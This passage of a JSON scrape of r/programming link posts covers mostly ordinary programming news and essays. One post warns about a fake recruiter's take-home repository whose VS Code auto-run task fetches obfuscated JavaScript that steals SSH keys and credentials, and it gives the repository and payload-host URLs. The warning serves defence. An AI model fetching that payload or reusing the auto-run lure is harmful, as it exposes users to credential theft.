    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q7f4xi",
  "url": "https://github.com/tailwindlabs/tailwindcss.com/pull/2388#issuecomment-3717222957",
  "permalink": "https://www.reddit.com/r/programming/comments/1q7f4xi/tailwind_just_laid_off_75_of_their_engineering/",
  "title": "Tailwind just laid off 75% of their engineering team",
  "body": null,
  "author": "corp_code_slinger",
  "subreddit": "programming",
  "score": 1098,
  "upvoteRatio": 0.94,
  "numComments": 234,
  "createdAt": "2026-01-08T15:44:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/tailwindlabs/tailwindcss.com/pull/2388#issuecomment-3717222957",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q7ds0z",
  "url": "https://www.jvm-weekly.com/p/everything-you-might-have-missed-886",
  "permalink": "https://www.reddit.com/r/programming/comments/1q7ds0z/everything_you_might_have_missed_in_java_in_2025/",
  "title": "Everything you might have missed in Java in 2025",
  "body": null,
  "author": "CrowSufficient",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.58,
  "numComments": 1,
  "createdAt": "2026-01-08T14:52:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.jvm-weekly.com/p/everything-you-might-have-missed-886",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q79w2u",
  "url": "https://www.phoronix.com/news/Torvalds-Linux-Kernel-AI-Slop",
  "permalink": "https://www.reddit.com/r/programming/comments/1q79w2u/linus_torvalds_the_ai_slop_issue_is_not_going_to/",
  "title": "Linus Torvalds: \"The AI slop issue is *NOT* going to be solved with documentation\"",
  "body": null,
  "author": "Fcking_Chuck",
  "subreddit": "programming",
  "score": 1277,
  "upvoteRatio": 0.96,
  "numComments": 159,
  "createdAt": "2026-01-08T11:56:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.phoronix.com/news/Torvalds-Linux-Kernel-AI-Slop",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q76au3",
  "url": "https://stackoverflow.blog/2026/01/02/a-new-worst-coder-has-entered-the-chat-vibe-coding-without-code-knowledge/?utm_source=braze&utm_medium=email&utm_campaign=the-overflow-newsletter&lid=pbpw8ug89ujl",
  "permalink": "https://www.reddit.com/r/programming/comments/1q76au3/a_new_worst_coder_has_entered_the_chat_vibe/",
  "title": "A new worst coder has entered the chat: vibe coding without code knowledge",
  "body": null,
  "author": "RevillWeb",
  "subreddit": "programming",
  "score": 587,
  "upvoteRatio": 0.89,
  "numComments": 115,
  "createdAt": "2026-01-08T08:17:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://stackoverflow.blog/2026/01/02/a-new-worst-coder-has-entered-the-chat-vibe-coding-without-code-knowledge/?utm_source=braze&utm_medium=email&utm_campaign=the-overflow-newsletter&lid=pbpw8ug89ujl",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q6gn0j",
  "url": "https://blog.crowai.dev/blog/website-hook-sdk-evolution/",
  "permalink": "https://www.reddit.com/r/programming/comments/1q6gn0j/how_we_built_a_website_hook_sdk_to_track_user/",
  "title": "How We Built a Website Hook SDK to Track User Interaction Patterns",
  "body": "a small blog on how we are working on a sdk to track user interactions on client side of things, and then use it to find patterns of customer interactions, this is just a components of the approaches we have tried",
  "author": "Working-Dot5752",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.45,
  "numComments": 1,
  "createdAt": "2026-01-07T14:22:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.crowai.dev/blog/website-hook-sdk-evolution/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q6fyhf",
  "url": "https://open.substack.com/pub/tiespetersen/p/i-got-paid-minimum-wage-to-solve",
  "permalink": "https://www.reddit.com/r/programming/comments/1q6fyhf/i_got_paid_minimum_wage_to_solve_an_impossible/",
  "title": "I got paid minimum wage to solve an impossible problem (and accidentally learned why most algorithms make life worse)",
  "body": "I was sweeping floors at a supermarket and decided to over-engineer it.\n\nInstead of just… sweeping… I turned the supermarket into a grid graph and wrote a C++ optimizer using simulated annealing to find the “optimal” sweeping path.\n\nIt worked perfectly.\n\nIt also produced a path that no human could ever walk without losing their sanity. Way too many turns.\n\nTurns out optimizing for distance gives you a solution that’s technically correct and practically useless. \n\nAdding a penalty each time it made a sharp turn made it actually walkable.\n\nBut, this led me down a rabbit hole about how many systems optimize the wrong thing (social media, recommender systems, even LLMs).\n\nIf you like algorithms, overthinking, or watching optimization go wrong, you might enjoy this little experiment. More visualizations and gifs included!\n\n",
  "author": "Ties_P",
  "subreddit": "programming",
  "score": 1010,
  "upvoteRatio": 0.8,
  "numComments": 172,
  "createdAt": "2026-01-07T13:54:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://open.substack.com/pub/tiespetersen/p/i-got-paid-minimum-wage-to-solve",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q6ff3y",
  "url": "https://fortune.com/article/does-ai-increase-workplace-productivity-experiment-software-developers-task-took-longer/",
  "permalink": "https://www.reddit.com/r/programming/comments/1q6ff3y/experienced_software_developers_assumed_ai_would/",
  "title": "Experienced software developers assumed AI would save them a chunk of time. But in one experiment, their tasks took 20% longer | Fortune",
  "body": null,
  "author": "Perfect-Campaign9551",
  "subreddit": "programming",
  "score": 683,
  "upvoteRatio": 0.9,
  "numComments": 293,
  "createdAt": "2026-01-07T13:31:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fortune.com/article/does-ai-increase-workplace-productivity-experiment-software-developers-task-took-longer/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q5m2ec",
  "url": "https://sqlite.org/whyc.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1q5m2ec/c_is_best/",
  "title": "C is Best",
  "body": null,
  "author": "Sensiduct",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.37,
  "numComments": 16,
  "createdAt": "2026-01-06T15:44:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sqlite.org/whyc.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q5h2c9",
  "url": "https://medium.com/@aravindcsebe/virtual-threads-in-java-21-a-deep-dive-into-lightweight-concurrency-c1743e7dbe04",
  "permalink": "https://www.reddit.com/r/programming/comments/1q5h2c9/virtual_threads_in_java_why_theyre_a_big_deal/",
  "title": "Virtual Threads in Java: Why They’re a Big Deal",
  "body": "Virtual threads (Project Loom) are lightweight threads managed by the JVM instead of the OS. They let you write simple blocking code while scaling to thousands or even millions of concurrent tasks.\n\nThe big win is that you don’t need to redesign your app around async or reactive patterns just to handle concurrency. Existing blocking APIs (HTTP, JDBC, etc.) work naturally, and the JVM handles scheduling efficiently.\n\nThey’re especially useful for I/O-bound workloads like web servers, microservices, and background jobs. That said, they’re not a silver bullet—CPU-bound work still needs limits, and poorly designed blocking can still cause problems.\n\nOverall, virtual threads make concurrent Java code simpler and more approachable without giving up scalability.",
  "author": "aravindcsebe",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.46,
  "numComments": 2,
  "createdAt": "2026-01-06T12:18:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@aravindcsebe/virtual-threads-in-java-21-a-deep-dive-into-lightweight-concurrency-c1743e7dbe04",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q5ay8i",
  "url": "https://loworbitsecurity.com/radar/radar16/",
  "permalink": "https://www.reddit.com/r/programming/comments/1q5ay8i/there_were_bgp_anomalies_during_the_venezuela/",
  "title": "There were BGP anomalies during the Venezuela blackout",
  "body": null,
  "author": "iamkeyur",
  "subreddit": "programming",
  "score": 386,
  "upvoteRatio": 0.92,
  "numComments": 18,
  "createdAt": "2026-01-06T06:17:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://loworbitsecurity.com/radar/radar16/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q4jrk4",
  "url": "https://www.cs.cmu.edu/~pavlo/blog/2026/01/2025-databases-retrospective.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1q4jrk4/databases_in_2025_a_year_in_review/",
  "title": "Databases in 2025: A Year in Review",
  "body": null,
  "author": "iamkeyur",
  "subreddit": "programming",
  "score": 393,
  "upvoteRatio": 0.94,
  "numComments": 44,
  "createdAt": "2026-01-05T11:54:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.cs.cmu.edu/~pavlo/blog/2026/01/2025-databases-retrospective.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q4hwur",
  "url": "http://sinclairtarget.com/blog/2025/08/thoughts-on-go-vs.-rust-vs.-zig",
  "permalink": "https://www.reddit.com/r/programming/comments/1q4hwur/thoughts_on_go_vs_rust_vs_zig/",
  "title": "Thoughts on Go vs. Rust vs. Zig",
  "body": null,
  "author": "misterolupo",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.4,
  "numComments": 28,
  "createdAt": "2026-01-05T10:09:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://sinclairtarget.com/blog/2025/08/thoughts-on-go-vs.-rust-vs.-zig",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q4dvxt",
  "url": "https://www.joelonsoftware.com/2002/11/11/the-law-of-leaky-abstractions/",
  "permalink": "https://www.reddit.com/r/programming/comments/1q4dvxt/the_law_of_leaky_abstractions/",
  "title": "The Law of Leaky Abstractions",
  "body": null,
  "author": "iamkeyur",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 22,
  "createdAt": "2026-01-05T06:03:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.joelonsoftware.com/2002/11/11/the-law-of-leaky-abstractions/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q41c87",
  "url": "https://addyosmani.com/blog/21-lessons/",
  "permalink": "https://www.reddit.com/r/programming/comments/1q41c87/21_lessons_from_14_years_at_google/",
  "title": "21 Lessons From 14 Years at Google",
  "body": null,
  "author": "iamkeyur",
  "subreddit": "programming",
  "score": 931,
  "upvoteRatio": 0.93,
  "numComments": 135,
  "createdAt": "2026-01-04T20:54:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://addyosmani.com/blog/21-lessons/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q3mvha",
  "url": "https://strategizeyourcareer.com/p/a-productivity-system-to-have-better",
  "permalink": "https://www.reddit.com/r/programming/comments/1q3mvha/where_good_ideas_come_from_for_software_engineers/",
  "title": "Where good ideas come from (for software engineers)",
  "body": null,
  "author": "strategizeyourcareer",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.56,
  "numComments": 1,
  "createdAt": "2026-01-04T10:39:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://strategizeyourcareer.com/p/a-productivity-system-to-have-better",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q3l83g",
  "url": "https://data.stackexchange.com/stackoverflow/query/1926661#graph",
  "permalink": "https://www.reddit.com/r/programming/comments/1q3l83g/stackoverflow_questions_asked_per_month_over_time/",
  "title": "Stackoverflow: Questions asked per month over time.",
  "body": null,
  "author": "lelanthran",
  "subreddit": "programming",
  "score": 498,
  "upvoteRatio": 0.96,
  "numComments": 194,
  "createdAt": "2026-01-04T08:59:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://data.stackexchange.com/stackoverflow/query/1926661#graph",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q3ed1a",
  "url": "https://www.pcloadletter.dev/blog/craftsmanship-is-dead/",
  "permalink": "https://www.reddit.com/r/programming/comments/1q3ed1a/software_craftsmanship_is_dead/",
  "title": "Software craftsmanship is dead",
  "body": null,
  "author": "R2_SWE2",
  "subreddit": "programming",
  "score": 604,
  "upvoteRatio": 0.83,
  "numComments": 328,
  "createdAt": "2026-01-04T02:54:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.pcloadletter.dev/blog/craftsmanship-is-dead/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q359tj",
  "url": "https://ryandeering.ie/posts/claudewin9x/",
  "permalink": "https://www.reddit.com/r/programming/comments/1q359tj/making_claude_code_talk_to_windows_98_c_client/",
  "title": "Making Claude Code Talk to Windows 98 (C client, .NET proxy)",
  "body": null,
  "author": "shinto29",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.38,
  "numComments": 2,
  "createdAt": "2026-01-03T20:31:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ryandeering.ie/posts/claudewin9x/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q33sj9",
  "url": "https://techfortalk.co.uk/2026/01/03/when-stdshared_mutex-outperforms-stdmutex-a-google-benchmark-study/",
  "permalink": "https://www.reddit.com/r/programming/comments/1q33sj9/when_stdshared_mutex_outperforms_stdmutex_a/",
  "title": "When std::shared_mutex Outperforms std::mutex: A Google Benchmark Study on Scaling and Overhead",
  "body": "In this post I have examined the performance trade-offs between std::mutex and std::shared_mutex in read-heavy C++ workloads.\nFor benchmarking I have used Google Benchmark framework. Based on a reader writer access pattern, it measures execution time per operation as reader concurrency increases. The results show lower overhead for std::mutex at low thread counts, followed by a clear crossover point where std::shared_mutex scales more effectively under increasing read contention.",
  "author": "Clean-Upstairs-8481",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.6,
  "numComments": 0,
  "createdAt": "2026-01-03T19:34:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://techfortalk.co.uk/2026/01/03/when-stdshared_mutex-outperforms-stdmutex-a-google-benchmark-study/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q32xif",
  "url": "https://github.com/alexdrimbe/logicrepo",
  "permalink": "https://www.reddit.com/r/programming/comments/1q32xif/treating_business_logic_as_a_separate_testable/",
  "title": "Treating business logic as a separate, testable artifact — does anyone do this?",
  "body": "I've been thinking about how business rules tend to get scattered across codebases — buried in service layers, mixed with validation, or stuck in Confluence docs that drift out of sync.\n\nWhat if business logic was a first-class artifact? Something like:\n\n```yaml\nrules:\n  - id: enterprise_discount\n    when:\n      customer_tier: enterprise\n    then:\n      discount_percent: 20\n```\n\nThe idea being:\n- Rules are declarative, not imperative\n- First-match-wins evaluation (like firewall rules)\n- Tests live alongside rules\n- CI blocks PRs if logic tests fail\n\nThis separates the \"what should happen\" from \"how it's implemented.\"\n\nWith AI generating more code, I keep wondering if the implementation becomes less valuable than the logic itself. Code can be regenerated — but the business decisions are what actually define the product.\n\nHas anyone worked on systems like this? Curious about prior art, patterns, or why this might be a terrible idea.",
  "author": "One_Lengthiness1685",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 11,
  "createdAt": "2026-01-03T19:01:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/alexdrimbe/logicrepo",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q2o00b",
  "url": "https://sushantdhiman.substack.com/p/how-uber-shows-millions-of-drivers",
  "permalink": "https://www.reddit.com/r/programming/comments/1q2o00b/how_uber_shows_millions_of_drivers_location_in/",
  "title": "How Uber Shows Millions of Drivers Location In Realtime",
  "body": null,
  "author": "Sushant098123",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 17,
  "createdAt": "2026-01-03T07:04:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sushantdhiman.substack.com/p/how-uber-shows-millions-of-drivers",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q2i78v",
  "url": "https://www.youtube.com/watch?v=NTrAISNdf70",
  "permalink": "https://www.reddit.com/r/programming/comments/1q2i78v/thompson_tells_how_he_developed_the_go_language/",
  "title": "Thompson tells how he developed the Go language at Google.",
  "body": "> In my opinion, the new stuff was bigger than the language. I didn't understand most of it. It was an hour talk that was dense on just the improvements to C++.\n\n> - So what are we gonna do about it?\n> - Let's write a language.\n> - **And so we wrote a language and that was it.**\n\nLegends.",
  "author": "ray591",
  "subreddit": "programming",
  "score": 597,
  "upvoteRatio": 0.93,
  "numComments": 231,
  "createdAt": "2026-01-03T02:20:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=NTrAISNdf70",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q26xbi",
  "url": "https://www.gingerbill.org/article/2026/01/02/was-it-really-a-billion-dollar-mistake/",
  "permalink": "https://www.reddit.com/r/programming/comments/1q26xbi/was_it_really_a_billion_dollar_mistake/",
  "title": "Was it really a Billion Dollar Mistake?",
  "body": null,
  "author": "gingerbill",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 87,
  "createdAt": "2026-01-02T18:46:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.gingerbill.org/article/2026/01/02/was-it-really-a-billion-dollar-mistake/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q22k91",
  "url": "https://github.com/ghostty-org/ghostty/issues/3558",
  "permalink": "https://www.reddit.com/r/programming/comments/1q22k91/why_users_cannot_create_issues_directly/",
  "title": "Why users cannot create Issues directly",
  "body": null,
  "author": "iamkeyur",
  "subreddit": "programming",
  "score": 283,
  "upvoteRatio": 0.93,
  "numComments": 64,
  "createdAt": "2026-01-02T16:08:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/ghostty-org/ghostty/issues/3558",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q161ds",
  "url": "https://medium.com/@kusoroadeolu/explaining-memory-barriers-and-javas-happens-before-guarantees-34309c5b60c0",
  "permalink": "https://www.reddit.com/r/programming/comments/1q161ds/explaining_memory_barriers_and_javas_happens/",
  "title": "Explaining Memory Barriers and Java’s Happens Before Guarantees",
  "body": null,
  "author": "henk53",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.54,
  "numComments": 0,
  "createdAt": "2026-01-01T14:57:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@kusoroadeolu/explaining-memory-barriers-and-javas-happens-before-guarantees-34309c5b60c0",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q0zuun",
  "url": "https://herbsutter.com/2025/12/30/software-taketh-away-faster-than-hardware-giveth-why-c-programmers-keep-growing-fast-despite-competition-safety-and-ai/",
  "permalink": "https://www.reddit.com/r/programming/comments/1q0zuun/software_taketh_away_faster_than_hardware_giveth/",
  "title": "Software taketh away faster than hardware giveth: Why C++ programmers keep growing fast despite competition, safety, and AI",
  "body": null,
  "author": "germandiago",
  "subreddit": "programming",
  "score": 601,
  "upvoteRatio": 0.91,
  "numComments": 197,
  "createdAt": "2026-01-01T08:56:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://herbsutter.com/2025/12/30/software-taketh-away-faster-than-hardware-giveth-why-c-programmers-keep-growing-fast-despite-competition-safety-and-ai/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q0peeg",
  "url": "https://tlxdev.hashnode.dev/writing-windows-95-software-in-2025",
  "permalink": "https://www.reddit.com/r/programming/comments/1q0peeg/writing_windows_95_software_in_2025/",
  "title": "Writing Windows 95 software in 2025",
  "body": null,
  "author": "Ok-Appointment7509",
  "subreddit": "programming",
  "score": 288,
  "upvoteRatio": 0.92,
  "numComments": 59,
  "createdAt": "2025-12-31T22:42:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tlxdev.hashnode.dev/writing-windows-95-software-in-2025",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q0990x",
  "url": "https://loup-vaillant.fr/articles/solid-bull",
  "permalink": "https://www.reddit.com/r/programming/comments/1q0990x/a_solid_load_of_bull/",
  "title": "A SOLID Load of Bull",
  "body": null,
  "author": "loup-vaillant",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.46,
  "numComments": 168,
  "createdAt": "2025-12-31T09:47:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://loup-vaillant.fr/articles/solid-bull",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pzvo25",
  "url": "https://bitbucket.org/brain0xlab/challenge/src/master/",
  "permalink": "https://www.reddit.com/r/programming/comments/1pzvo25/psa_be_aware_when_opening_take_home_challenges/",
  "title": "PSA: Be aware when opening \"take home challenges\" from untrusted recruiters",
  "body": "Update: I contacted the person behind npoint and apparently they had been trying to get rid of these malwares (json with malicious js) for awhile. They kindly removed not just this document but many similar documents and hopefully they'll be able to add this pattern onto their defensive measures!\n\nThis is great news since it'll force the attackers to update their techniques - which, at the very least, slows them down.\n\nAnd indeed, their account has been banned on LinkedIn as well. It was certainly a hacked account - identity fraud of sorts.\n\nOriginal:\n\nI was recently contacted by linkedIn \"recruiter\" who's upto no good it seems. After some brief chatting, they asked me to complete a take-home assignment to go ahead with the recruitment process. This is the link to said take home challenge: [https://bitbucket.org/brain0xlab/challenge/src/master/](https://bitbucket.org/brain0xlab/challenge/src/master/)\n\nIt all seemed a bit suspcious and I wanted to check the repo out before cloning it and opening it myself.\n\nThis repository contains a vscode auto run task: [https://bitbucket.org/brain0xlab/challenge/src/master/.vscode/tasks.json](https://bitbucket.org/brain0xlab/challenge/src/master/.vscode/tasks.json) <- This is a HUGE red flag.\n\nThis task, through several layers of indirection, effectively downloads a stringified obfuscated JS script disguised as a json file from this link: [https://api.npoint.io/3b0e9f7bfcd85cc9e77d](https://api.npoint.io/3b0e9f7bfcd85cc9e77d)\n\nThe JSON is downloaded via a \"env.js\" file downloaded from here (WARNING: malware script host): https://vscode-settings-bootstrap\\[dot\\]vercel\\[dot\\]app/settings/env?flag=306 (replace the dots with actual dots)\n\nYou'll likely need to use curl -L or something to actually download it. This vscode-settings-bootstrap is likely hosted by the malware creators as this is the website hosting the actual malware stuff primarily. npoint is sort of just a general service.\n\nNotice how the env.js file downloads the malware script containing json from npoint, extracts the obfuscated js from the cookie field and runs it.\n\nI have not managed to gather more information about the malware script itself. I know it reads a bunch of system information, reads credentials from filesystem (e.g ssh private keys) and tries to upload them to some domain. I sorta gave up figuring out what domain it is since the script does A LOT of useless work to waste cpu cycles and my virtualbox was simply taking too long to get to the meaty part.  \n\n\nI have reported the linked in profile and bitbucket repo.\n\nTL;DR: Don't open take home challenges and grant it permissions, especially if it contains auto run scripts...",
  "author": "Phantom569",
  "subreddit": "programming",
  "score": 2281,
  "upvoteRatio": 0.97,
  "numComments": 106,
  "createdAt": "2025-12-30T22:24:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bitbucket.org/brain0xlab/challenge/src/master/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pzo06c",
  "url": "https://www.blog4ems.com/p/why-you-cant-hire-great-senior-engineers",
  "permalink": "https://www.reddit.com/r/programming/comments/1pzo06c/your_interview_process_for_senior_engineers_is/",
  "title": "Your interview process for senior engineers is wrong",
  "body": null,
  "author": "stmoreau",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 6,
  "createdAt": "2025-12-30T17:25:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.blog4ems.com/p/why-you-cant-hire-great-senior-engineers",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pzfo4r",
  "url": "https://www.infoq.com/presentations/Simple-Made-Easy/",
  "permalink": "https://www.reddit.com/r/programming/comments/1pzfo4r/rich_hickey_simplicity_is_a_prerequisite_for/",
  "title": "Rich Hickey: Simplicity is a prerequisite for reliability",
  "body": "Rewatched this recently. Still one of the clearest explanations of why systems fail as complexity accumulates. would like to know how people here apply this in real projects.",
  "author": "Digitalunicon",
  "subreddit": "programming",
  "score": 413,
  "upvoteRatio": 0.96,
  "numComments": 100,
  "createdAt": "2025-12-30T11:22:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.infoq.com/presentations/Simple-Made-Easy/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pytqia",
  "url": "https://www.theverge.com/24067997/robots-txt-ai-text-file-web-crawlers-spiders",
  "permalink": "https://www.reddit.com/r/programming/comments/1pytqia/the_rise_and_fall_of_robotstxt/",
  "title": "The rise and fall of robots.txt",
  "body": null,
  "author": "TabCompletion",
